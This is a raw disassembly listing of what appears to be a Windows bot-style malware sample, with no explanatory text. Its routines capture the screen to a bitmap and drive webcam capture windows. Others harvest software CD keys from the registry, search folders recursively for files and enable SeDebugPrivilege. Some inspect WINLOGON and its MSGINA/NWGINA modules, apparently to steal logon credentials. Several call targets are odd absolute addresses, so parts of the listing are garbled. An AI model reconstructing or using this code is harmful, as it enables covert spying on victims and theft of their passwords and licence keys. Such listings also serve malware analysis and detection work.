= dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43F654 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43F670 push 0Ah push edi mov [ebp+var_8], eax call dword_43F670 push 0Ch push edi mov [ebp+var_C], eax call dword_43F670 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43F670 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43F6B4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43F6AC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43F544 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43F6B0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43F598 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 2630846h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 2620000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2620000h cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2620000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2620000h push [ebp+arg_0] call near ptr 2610978h nop push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43F5CC push [ebp+var_4] call dword_43F530 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43F530 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43F530 push [ebp+var_4] call dword_43F530 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EDp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43F608 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43F608 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43F608 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43F6C4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43F6C4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43F6C4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43F718 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A6p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43F608 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43F608 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43F608 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43F608 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43F6C4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43F608 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43F6C4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43F608 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43F6C4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43F608 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43F6C4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43F608 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43F6C4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43F608 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43F608 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43F6C4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43F718 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43F6D8 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43F574 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43F644 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D62o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx call near ptr 25D0362h nop pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 2690000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] nop call near ptr 267037Fh push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi call near ptr 2690000h nop test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 267037Fh mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26E0000h mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43F314, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43F308, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43F518, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43F310, eax call esi mov dword_43F30C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_43E308 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43EB08 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43F520 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43F520, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] nop call near ptr 26C065Dh pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43F314 push ebp push 0 call esi push eax nop call near ptr 26E033Bh push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43F314 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43F308 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43F518 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43F310 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax nop call near ptr 26E033Bh mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43F310 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2700871h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 270030Dh nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx 